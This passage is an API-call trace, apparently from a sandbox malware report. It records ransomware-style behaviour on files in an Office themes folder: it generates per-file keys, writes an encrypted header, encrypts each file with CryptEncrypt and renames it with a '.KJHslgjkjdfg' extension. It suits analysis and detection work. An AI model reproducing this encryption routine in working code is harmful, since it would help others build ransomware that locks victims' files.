lpOverlapped=0x0) returned 1 [0173.627] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.627] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.627] GetProcessHeap () returned 0x2ef0000 [0173.627] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0173.627] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0173.627] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.627] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0173.627] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0173.627] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0173.627] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0173.627] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0173.628] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0173.628] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.628] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.628] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.628] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xba32, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0xba32, lpOverlapped=0x0) returned 1 [0173.637] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xba40, dwBufLen=0xba40 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xba40) returned 1 [0173.638] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.638] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xba40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0xba40, lpOverlapped=0x0) returned 1 [0173.639] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.639] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xbb14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.639] SetEndOfFile (hFile=0x12c) returned 1 [0173.642] GetProcessHeap () returned 0x2ef0000 [0173.642] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0173.642] GetProcessHeap () returned 0x2ef0000 [0173.642] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0173.643] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.elm.kjhslgjkjdfg")) returned 1 [0173.643] CloseHandle (hObject=0x12c) returned 1 [0173.646] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x567e4730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="JOURNAL.INF", cAlternateFileName="")) returned 1 [0173.647] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0173.647] GetProcessHeap () returned 0x2ef0000 [0173.647] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0173.647] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0173.647] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0173.647] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xd, lpOverlapped=0x0) returned 1 [0173.649] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.649] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.649] GetProcessHeap () returned 0x2ef0000 [0173.650] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0173.650] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0173.650] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.650] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0173.650] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0173.650] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0173.650] WriteFile (in: hFile=0x12c, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0173.650] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0173.650] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0173.651] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.651] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.651] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.651] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1f3, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x1f3, lpOverlapped=0x0) returned 1 [0173.651] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x200, dwBufLen=0x200 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x200) returned 1 [0173.651] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.651] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x200, lpOverlapped=0x0) returned 1 [0173.651] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.651] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x2d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.651] SetEndOfFile (hFile=0x12c) returned 1 [0173.654] GetProcessHeap () returned 0x2ef0000 [0173.654] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0173.654] GetProcessHeap () returned 0x2ef0000 [0173.654] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0173.655] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.inf.kjhslgjkjdfg")) returned 1 [0173.667] CloseHandle (hObject=0x12c) returned 1 [0173.667] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4d0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0173.667] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0173.668] GetProcessHeap () returned 0x2ef0000 [0173.668] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0173.668] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0173.668] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0173.668] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.668] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.668] GetProcessHeap () returned 0x2ef0000 [0173.668] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0173.668] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0173.668] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.668] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0173.672] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0173.672] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0173.672] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0173.672] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0173.672] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0173.672] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.672] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.672] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.672] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4d0, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x4d0, lpOverlapped=0x0) returned 1 [0173.672] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x4d0, dwBufLen=0x4d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x4d0) returned 1 [0173.672] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.672] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x4d0, lpOverlapped=0x0) returned 1 [0173.673] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.673] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x5a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.673] SetEndOfFile (hFile=0x12c) returned 1 [0173.675] GetProcessHeap () returned 0x2ef0000 [0173.676] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0173.676] GetProcessHeap () returned 0x2ef0000 [0173.676] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0173.676] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif.kjhslgjkjdfg")) returned 1 [0173.682] CloseHandle (hObject=0x12c) returned 1 [0173.683] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47ed, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0173.683] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0173.684] GetProcessHeap () returned 0x2ef0000 [0173.684] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0173.684] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0173.684] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0173.684] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x3, lpOverlapped=0x0) returned 1 [0173.686] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.687] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.687] GetProcessHeap () returned 0x2ef0000 [0173.687] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0173.687] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0173.687] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.687] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0173.687] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0173.687] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0173.687] WriteFile (in: hFile=0x12c, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0173.687] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0173.687] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0173.687] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.687] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.687] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.688] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x47ed, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x47ed, lpOverlapped=0x0) returned 1 [0173.689] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x47f0, dwBufLen=0x47f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x47f0) returned 1 [0173.689] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.689] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x47f0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x47f0, lpOverlapped=0x0) returned 1 [0173.689] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.689] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x48c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.689] SetEndOfFile (hFile=0x12c) returned 1 [0173.692] GetProcessHeap () returned 0x2ef0000 [0173.692] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0173.692] GetProcessHeap () returned 0x2ef0000 [0173.692] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0173.692] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0173.699] CloseHandle (hObject=0x12c) returned 1 [0173.699] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47ed, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0173.699] GetProcessHeap () returned 0x2ef0000 [0173.699] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0173.699] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0173.699] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c898, pdwDataLen=0x4dfee20) returned 1 [0173.699] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.699] GetProcessHeap () returned 0x2ef0000 [0173.699] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0173.700] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0173.700] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfee20) returned 1 [0173.700] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.700] GetProcessHeap () returned 0x2ef0000 [0173.700] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f14588 [0173.700] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0173.700] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14588, pdwDataLen=0x4dfee20 | out: pbData=0x2f14588, pdwDataLen=0x4dfee20) returned 1 [0173.700] CryptDestroyKey (hKey=0x2f18308) returned 1 